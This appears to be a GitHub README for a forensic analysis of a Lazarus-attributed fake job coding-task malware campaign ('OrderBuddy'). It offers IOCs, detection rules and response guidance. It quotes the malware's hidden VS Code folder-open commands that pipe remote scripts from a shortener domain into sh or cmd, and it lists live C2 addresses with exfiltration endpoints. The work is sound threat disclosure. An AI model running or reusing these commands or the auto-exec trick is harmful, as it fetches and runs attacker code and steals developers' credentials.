Leviticus-Triage/operation-dream-job
GitHub: Leviticus-Triage/operation-dream-job
该仓库提供了针对拉扎斯集团「Operation Dream Job」行动中 OrderBuddy 恶意软件活动的完整取证分析,涵盖 IOC、检测规则及应急响应脚本。
Stars: 1 | Forks: 0
# Operation Dream Job — OrderBuddy Campaign 分析
[](https://www.first.org/tlp/)
[](mitre-attack/MAPPING.md)
[](iocs/)
[](yara/)
[](sigma/)
## TL;DR
一位同事通过 LinkedIn 从伪造的招聘人员资料那里收到了一个**虚假的编程作业**("OrderBuddy")。
该 ZIP 压缩包包含**4 个独立的攻击向量**,具有 5 层混淆、三重回退 C2 链,以及适用于 Windows、macOS 和 Linux 的跨平台载荷。
**没有任何系统被入侵。** 该恶意软件已在隔离的 Docker 沙箱中进行了完全逆向工程——首先是静态分析(第 1-2 阶段),随后是动态分析与真实 C2 通信(第 3 阶段)。
此攻击活动已上报至 **BSI/CERT-Bund**、**CSBW** 和 **LKA**,他们确认归因于 **Lazarus Group / "Operation Dream Job"**。
## 关键发现
| 发现 | 详情 |
|---------|--------|
| **归因** | Lazarus Group (DPRK) — 由 BSI、LKA、CSBW 确认 |
| **投递** | LinkedIn 鱼叉式网络钓鱼 → ZIP 压缩包,伪装成“编程作业” |
| **攻击向量** | 4 个独立向量(tasks.json 自动执行、webpack 构建时、settings.json、.env 凭证窃取) |
| **混淆** | 5 层:字符串数组旋转(60 次移位)、XOR、Base64、Base85、zlib |
| **C2 基础设施** | 三重回退:`147.124.202.225` → `38.92.47.157` → `66.235.175.117` (均为 AS397423 / Tier.Net) |
| **载荷** | 浏览器凭证窃取器 (JS)、文件窃取器 (JS)、SSH/FTP RAT (JS)、Python 反向 Shell |
| **数据外泄** | HTTP POST、FTP (pyftpdlib)、SSH — 多通道 |
| **持久化** | `setInterval` 615,968 毫秒(约 10.3 分钟),隐藏在 `~/.vscode/` 中 |
| **社会工程学** | 2 个虚假网站,LinkedIn 公司主页,DigiCert SSL |
| **C2 状态** | 在动态分析时(2026-02-28)**处于活动状态并正在分发载荷** |
## 仓库结构
```
operation-dream-job/
├── docs/
│ ├── FORENSIC_REPORT.md # Full forensic report (Phase 1–3 combined, EN)
│ ├── DYNAMIC_ANALYSIS.md # Phase 3 dynamic analysis with live C2
│ └── TIMELINE.md # Minute-by-minute forensic timeline
├── iocs/
│ ├── network-iocs.csv # IPs, domains, URLs — SIEM-ready
│ ├── file-iocs.csv # SHA256, MD5, filenames
│ ├── c2-endpoints.csv # C2 endpoint enumeration
│ ├── stix2-bundle.json # STIX 2.1 bundle (machine-readable)
│ └── README.md # IOC format guide
├── yara/
│ ├── orderbuddy_campaign.yar # 7 campaign-specific rules (verified)
│ └── generic_linkedin_malware.yar # Generic detection for similar campaigns
├── sigma/
│ ├── orderbuddy_c2_beacon.yml # C2 beacon detection
│ ├── orderbuddy_vscode_persist.yml# .vscode persistence detection
│ └── orderbuddy_npm_abuse.yml # Malicious npm lifecycle hooks
├── suricata/
│ └── orderbuddy_c2.rules # Network IDS rules
├── mitre-attack/
│ ├── MAPPING.md # Full ATT&CK mapping with evidence
│ └── navigator-layer.json # ATT&CK Navigator import layer
├── scripts/
│ └── check-infection.sh # 17-point IR check script (read-only, macOS/Linux)
└── sandbox/
└── docker-compose.yml # Isolated analysis environment
```
## 攻击链
```
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ RECONNAISSANCE │ │ WEAPONIZATION │ │ DELIVERY │
│ │ │ │ │ │
│ LinkedIn target │────>│ ZIP with 4 │────>│ LinkedIn DM │
│ profiling │ │ attack vectors │ │ "Coding task" │
│ │ │ 5-layer obfusc. │ │ │
└─────────────────┘ └─────────────────┘ └────────┬────────┘
│
┌─────────────────┐ ┌─────────────────┐ ┌────────v────────┐
│ ACTIONS ON │ │ COMMAND AND │ │ EXPLOITATION │
│ OBJECTIVES │ │ CONTROL │ │ │
│ │ │ │ │ npm run build │
│ Credential │<────│ 3-tier fallback │<────│ OR folder open │
│ theft, RAT, │ │ HTTP/FTP/SSH │ │ (auto-exec) │
│ file exfil │ │ Port 1244 │ │ │
└─────────────────┘ └─────────────────┘ └─────────────────┘
```
## C2 通信流程
```
Malware (webpack)
│
├──GET /s/40abc1fa2901──> 147.124.202.225:1244 ❌ RST (offline)
│
├──GET /s/40abc1fa2901──> 38.92.47.157:1244 ✅ Base64 config
│ │
│ └── Decoded: 66.235.175.117,ryGnMe8
│
├──POST /keys────────────> 66.235.175.117:1244 📤 System recon exfil
├──GET /j/ryGnMe8───────> 66.235.175.117:1244 📥 test.js (credential stealer)
├──GET /z/ryGnMe8───────> 66.235.175.117:1244 📥 p.js (file exfiltrator)
├──GET /o/ryGnMe8───────> 66.235.175.117:1244 📥 njs (SSH/FTP RAT)
├──GET /cli/ryGnMe8─────> 66.235.175.117:1244 📥 main.py (reverse shell)
└──POST /uploads─────────> 66.235.175.117:1244 📤 Browser creds, files
```
## 攻击向量
### 向量 1:`.vscode/tasks.json` — 自动执行(严重)
在 VS Code 或 Cursor 中打开项目文件夹时自动触发。除了打开文件夹外,不需要任何用户交互。
```
"runOptions": { "runOn": "folderOpen" }
"presentation": { "reveal": "never", "echo": false }
```
命令隐藏在 **208 个空白字符** 之后,针对所有平台:
| 操作系统 | 载荷 |
|----|---------|
| macOS | `curl 'https://gurucooldown.short.gy/ryGnMe8m' -L \| sh` |
| Linux | `wget -qO- 'https://gurucooldown.short.gy/ryGnMe8l' -L \| sh` |
| Windows | `curl https://gurucooldown.short.gy/ryGnMe8w -L \| cmd` |
### 向量 2:`webpack.config.js` — 构建时信息窃取(严重)
在 `npm run build`、`npm start` 或 `npm run dev` 期间执行。包含主要的 C2 信标和载荷下载器,具有 5 层混淆:
| 层级 | 技术 |
|-------|-----------|
| 1 | 字符串数组旋转(109 个片段,60 次移位,校验和 0x92692) |
| 2 | 查找别名 (`as = at = au = av = aw = a1`) |
| 3 | `c()` 解码器:`slice(1)` → Base64 → UTF-8 |
| 4 | XOR 加密 (密钥: `0x70 0xA0 0x89 0x48`) |
| 5 | 反调试:递归 `toString()` 控制台陷阱 |
### 向量 3:`settings.json` — 隐藏命令注入
禁用 `wordWrap`、`minimap` 和 `formatOnSave` 以隐藏放置在 200 多个空白字符之后的恶意命令。
### 向量 4:`.env.example` — 凭证收割
包含真实的 MongoDB 凭证 (`mongodb+srv://ananth:***@watercooler`),旨在诱使开发者连接到攻击者控制的基础设施。
## 社会工程学基础设施
维护了两个专业的虚假网站作为此次活动的掩护——两者均不包含恶意软件:
| 域名 | 托管 | 技术栈 | 用途 |
|--------|---------|------------|---------|
| `orderbuddyapp.com` | Azure CDN (13.107.213.45) | React SPA (Vite) | 虚假产品页面 |
| `orderbuddyshop.com` | Hostinger BR (82.25.73.196) | Next.js SSR | 虚假营销网站 |
| `linkedin.com/company/orderbuddyshop` | LinkedIn | — | 虚假公司主页 |
两个网站均具有专业的设计、SEO 优化、SSL 证书和自定义电子邮件地址。
## 如何使用此仓库
### 面向 SOC / IR 团队
1. 将 `iocs/network-iocs.csv` 和 `iocs/file-iocs.csv` 导入您的 SIEM
2. 将 `yara/orderbuddy_campaign.yar` 部署到您的终端检测系统
3. 将 `suricata/orderbuddy_c2.rules` 添加到您的网络 IDS
4. 在可能受影响的开发者工作站上运行 `scripts/check-infection.sh`
### 面向威胁情报
1. 将 `iocs/stix2-bundle.json` 导入到您的 TIP(MISP、OpenCTI 等)
2. 查看 `mitre-attack/MAPPING.md` 以获取完整的 ATT&CK 映射
3. 将 `mitre-attack/navigator-layer.json` 导入 [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/)
### 面向开发者意识
1. 阅读 [取证报告](docs/FORENSIC_REPORT.md) 以了解攻击如何运作
2. 在 VS Code / Cursor 设置中设置 `"task.allowAutomaticTasks": "never"`
3. **切勿在未经审查 `package.json` 和所有生命周期钩子的情况下对不受信任的代码运行 `npm install`**
4. 对通过 LinkedIn 发来的未经请求的“编程作业”保持警惕
## 快速 IOC 检查
请立即在您的防火墙 / SIEM 中拦截以下内容:
```
# C2 IPs (AS397423 — Tier.Net Technologies LLC)
66.235.175.117 # Active C2 (Express.js :1244, FTP :21, SSH :22)
38.92.47.157 # Fallback C2 (config server)
147.124.202.225 # Primary C2 (offline at time of analysis)
4.202.147.122 # Alternative C2 (Azure, statically identified)
# Domains
gurucooldown.short.gy # Stage 1 shell downloader
alanservice.vercel.app # Payload redirect
orderbuddyapp.com # Fake product site (Azure)
orderbuddyshop.com # Fake marketing site (Hostinger)
# URLs
jsonkeeper.com/b/QWY20 # eval() payload host
# File Hashes (SHA256)
2ac11f7302ea0e35e7626fb2bc4f4b68c047313c0fc5cc5681a850cf1b164047 # Original ZIP
d273e7fc22daa42d8cb20b833c52c0cddca1a967891c9bab4573d3a6a4b925d7 # test.js (stealer)
4b154b8e35e4cbb3f9851b503b8245bfec601b00330690ef3d2a66bf42c4077b # p.js (exfil)
8efb64fb702476ff55e6ebf5be38ec0b53eec0d9e456695099a149c8810dac7d # njs (RAT)
7ddff976b79ef4010a2d1e14938bbd33b3749febe39c8757df987d8cf54acd3c # main.py (revshell)
# LinkedIn
linkedin.com/in/kendall-mareth-lopez-diaz-3a5437365 # Fake recruiter
```
## 现有 IR 工具
如需立即进行事件响应和 C2 sinkholing,请参阅配套仓库:
**[Leviticus-Triage/ir-sinkhole](https://github.com/Leviticus-Triage/ir-sinkhole)**
## 方法论
| 阶段 | 范围 | 持续时间 | 关键工具 |
|-------|-------|----------|-----------|
| Phase 1 — 静态分析 | 文件结构、YARA、模式扫描 | 2026-02-19 | Docker 沙箱 (网络: none)、自定义脚本 |
| Phase 2 — 逆向工程 | 所有 4 个向量的完全去混淆 | 2026-02-19 | 自定义去混淆器、AST 分析、手动 RE |
| Phase 3 — 动态分析 | 隔离容器中的实时 C2 通信 | 2026-02-27/28 | tshark、asciinema、inotifywait、HexStrike、Nmap |
所有分析均在具有适当安全控制的**隔离 Docker 容器**中进行。每个阶段后均验证主机系统为洁净状态。
## 报告
此攻击活动已报告给:
- **BSI / CERT-Bund** — 德国联邦信息安全办公室
- **CSBW** — 巴登-符腾堡州网络安全局
- **LKA** — 州刑事调查局
- **Tier.Net** — C2 托管提供商(滥用报告)
- **Vercel** — 载荷重定向托管
- **LinkedIn** — 虚假招聘人员资料
- **Microsoft Azure** — 虚假网站托管
- **Hostinger** — 虚假网站托管
## 参考资料
- [Mandiant: DPRK Threat Actors Target Tech via Fake Job Listings](https://www.mandiant.com/resources/blog/dprk-threat-actors-target-tech)
- [Microsoft: Lazarus targets engineers with weaponized projects](https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion/)
- [CISA Advisory: North Korean State-Sponsored Cyber Actors](https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-108a)
## 作者
**Leviticus-Triage**
Cybersecurity Analyst | Incident Response | Reverse Engineering
## 许可证
本研究依据 [TLP:CLEAR](https://www.first.org/tlp/) 发布,以造福安全社区。
检测规则和脚本依据 [MIT License](LICENSE) 发布。
*如果您或您的组织已成为此攻击活动的目标,请提交 issue 或直接联系。*
标签:APT, Base64, Base85, Burp Suite 替代, CIDR输入, Cloudflare, DAST, DNS 反向解析, DNS通配符暴力破解, Docker, IOCs, IP 地址批量处理, JS恶意软件, Lazarus Group, LinkedIn, Metaprompt, MITRE ATT&CK, Object Callbacks, OpenCanary, Operation Dream Job, OrderBuddy, Python恶意软件, RAT, SSH, STIX, Suricata, VSCode, XOR, YARA, zlib, 云资产可视化, 云资产清单, 供应链攻击, 凭据窃取, 后门, 命令与控制, 备用链, 多层混淆, 威胁情报, 安全防御评估, 应用安全, 开发者工具, 恶意软件, 恶意软件分析, 搜索语句(dork), 数字取证, 数据可视化, 数据展示, 数据窃取, 朝鲜, 检测规则, 沙箱分析, 浏览器窃密, 现代安全运营, 知识库安全, 社工攻击, 红队, 网络信息收集, 网络安全, 网络资产发现, 网络钓鱼, 自动化脚本, 虚假招聘, 请求拦截, 软件开发者, 逆向工具, 逆向工程, 隐私保护